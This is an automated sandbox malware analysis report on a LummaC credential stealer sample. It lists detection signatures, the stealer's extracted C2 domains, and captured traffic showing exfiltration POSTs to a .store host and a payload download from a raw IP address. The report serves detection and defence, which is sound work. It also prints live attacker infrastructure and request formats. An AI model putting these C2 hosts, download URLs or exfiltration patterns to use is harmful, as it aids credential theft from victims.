Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1543581
MD5:	65397ed2ae0567709b177f41d0668597
SHA1:	1af8432aef5af0655dc6952fcbac893adae53880
SHA256:	ba91baa187e8253acfb92cb60be2a1c99cb9809f4156475bd12a08e6fb69ed06
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains long sleeps (>= 3 min)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 4936 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 65397ED2AE0567709B177F41D0668597)

94JSCZGRDUWCLDEBY2HC1S58YAX1.exe (PID: 1540 cmdline: "C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe" MD5: 89595DF1365EF9A4D1CB06E2E56DE5E1)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["fadehairucw.store", "crisiwarny.store", "necklacedmny.store", "navygenerayk.store", "founpiuer.store", "presticitpo.store", "thumbystriw.store", "scriptyprefej.store"], "Build id": "Kav--"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.1566660244.0000000000E00000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 4936	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 4936	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 4936	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T07:18:26.832629+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49705	104.21.95.91	443	TCP
2024-10-28T07:18:28.033097+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49706	104.21.95.91	443	TCP
2024-10-28T07:18:41.233523+0100	2054653	1	A Network Trojan was detected	192.168.2.8	49713	104.21.95.91	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T07:18:26.832629+0100	2049836	1	A Network Trojan was detected	192.168.2.8	49705	104.21.95.91	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T07:18:28.033097+0100	2049812	1	A Network Trojan was detected	192.168.2.8	49706	104.21.95.91	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T07:18:42.153886+0100	2019714	2	Potentially Bad Traffic	192.168.2.8	49717	185.215.113.16	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T07:18:34.637074+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.8	49710	104.21.95.91	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Found malware configuration

Source: file.exe.4936.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["fadehairucw.store", "crisiwarny.store", "necklacedmny.store", "navygenerayk.store", "founpiuer.store", "presticitpo.store", "thumbystriw.store", "scriptyprefej.store"], "Build id": "Kav--"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.1723214505.0000000000871000.00000040.00000001.01000000.00000003.sdmp	String decryptor: scriptyprefej.store
Source: 00000000.00000002.1723214505.0000000000871000.00000040.00000001.01000000.00000003.sdmp	String decryptor: navygenerayk.store
Source: 00000000.00000002.1723214505.0000000000871000.00000040.00000001.01000000.00000003.sdmp	String decryptor: founpiuer.store
Source: 00000000.00000002.1723214505.0000000000871000.00000040.00000001.01000000.00000003.sdmp	String decryptor: necklacedmny.store
Source: 00000000.00000002.1723214505.0000000000871000.00000040.00000001.01000000.00000003.sdmp	String decryptor: thumbystriw.store
Source: 00000000.00000002.1723214505.0000000000871000.00000040.00000001.01000000.00000003.sdmp	String decryptor: fadehairucw.store
Source: 00000000.00000002.1723214505.0000000000871000.00000040.00000001.01000000.00000003.sdmp	String decryptor: crisiwarny.store
Source: 00000000.00000002.1723214505.0000000000871000.00000040.00000001.01000000.00000003.sdmp	String decryptor: presticitpo.store
Source: 00000000.00000002.1723214505.0000000000871000.00000040.00000001.01000000.00000003.sdmp	String decryptor: presticitpo.store
Source: 00000000.00000002.1723214505.0000000000871000.00000040.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.1723214505.0000000000871000.00000040.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.1723214505.0000000000871000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.1723214505.0000000000871000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.1723214505.0000000000871000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.1723214505.0000000000871000.00000040.00000001.01000000.00000003.sdmp	String decryptor: 4SD0y4--legendaryy

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0088D7F8 CryptUnprotectData,

0_2_0088D7F8

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.8:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.8:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.8:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.8:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.8:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.8:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.8:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.95.91:443 -> 192.168.2.8:49713 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 94JSCZGRDUWCLDEBY2HC1S58YAX1.exe, 00000003.00000002.1867159031.0000000000552000.00000040.00000001.01000000.00000006.sdmp, 94JSCZGRDUWCLDEBY2HC1S58YAX1.exe, 00000003.00000003.1733973050.0000000004B70000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+75E07B5Ch]	0_2_0087EC20
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp ecx	0_2_0088104F
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp word ptr [edi+ebx+02h], 0000h	0_2_008B4C40
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-42h]	0_2_0087E1A0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp eax	0_2_008AE210
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-0000008Ah]	0_2_0087CF90
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx eax, byte ptr [esp+edx+6D44C030h]	0_2_0089AB20
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 9ABDB589h	0_2_0089AB20
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx edx, byte ptr [esi+ebx]	0_2_00875890
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+6D44C02Ch]	0_2_008AFC90
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp ecx	0_2_008814CE
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx ebx, byte ptr [esi+ecx+38h]	0_2_0088E07E
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov word ptr [ebp+edx*4+00h], ax	0_2_0087BD50
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+34h]	0_2_0087BD50
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp ecx	0_2_00898290
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then movzx eax, byte ptr [ebp+ecx-14h]	0_2_008B3A90
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov word ptr [edx], bp	0_2_00891EC5
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then mov word ptr [ecx], di	0_2_00891EC5
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp edx	0_2_00878EF0
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then and esi, 001FF800h	0_2_00874BA0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.8:49710 -> 104.21.95.91:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.8:49706 -> 104.21.95.91:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.8:49705 -> 104.21.95.91:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49706 -> 104.21.95.91:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49705 -> 104.21.95.91:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.8:49713 -> 104.21.95.91:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: fadehairucw.store
Source: Malware configuration extractor	URLs: crisiwarny.store
Source: Malware configuration extractor	URLs: necklacedmny.store
Source: Malware configuration extractor	URLs: navygenerayk.store
Source: Malware configuration extractor	URLs: founpiuer.store
Source: Malware configuration extractor	URLs: presticitpo.store
Source: Malware configuration extractor	URLs: thumbystriw.store
Source: Malware configuration extractor	URLs: scriptyprefej.store

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 28 Oct 2024 06:18:42 GMTContent-Type: application/octet-streamContent-Length: 2869760Last-Modified: Mon, 28 Oct 2024 06:09:16 GMTConnection: keep-aliveETag: "671f2a8c-2bca00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2c 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2c 00 00 04 00 00 ab 54 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 61 69 73 79 67 77 67 78 00 80 2b 00 00 a0 00 00 00 6a 2b 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 64 72 62 67 61 71 79 00 20 00 00 00 20 2c 00 00 04 00 00 00 a4 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 40 2c 00 00 22 00 00 00 a8 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 104.21.95.91 104.21.95.91
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic

Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.8:49717 -> 185.215.113.16:80

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 52Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12851Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15080Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20247Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1237Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 569693Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 87Host: crisiwarny.store
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic

HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: global traffic	DNS traffic detected: DNS query: presticitpo.store
Source: global traffic	DNS traffic detected: DNS query: crisiwarny.store

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: crisiwarny.store

Source: file.exe, file.exe, 00000000.00000002.1724682643.0000000000DF5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1722966478.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1722841252.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: file.exe, 00000000.00000002.1724682643.0000000000DF5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1722966478.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1722841252.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/U
Source: file.exe, 00000000.00000002.1724682643.0000000000DF5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1722966478.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1722841252.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/j
Source: file.exe, file.exe, 00000000.00000002.1724361364.0000000000C7A000.00000004.00000010.00020000.00000000.sdmp, file.exe, 00000000.00000002.1724509005.0000000000DA0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1724682643.0000000000DF5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1722966478.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1722621117.0000000000DA0000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1722841252.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: file.exe, 00000000.00000002.1724682643.0000000000DF5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1722966478.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1722841252.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe0
Source: file.exe, 00000000.00000002.1724682643.0000000000DF5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1722966478.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1722841252.0000000000DEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe2
Source: file.exe, 00000000.00000002.1724509005.0000000000D90000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1722621117.0000000000D90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeR
Source: file.exe, 00000000.00000003.1549025339.00000000056DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.1549025339.00000000056DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.1549025339.00000000056DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.1549025339.00000000056DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.1549025339.00000000056DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
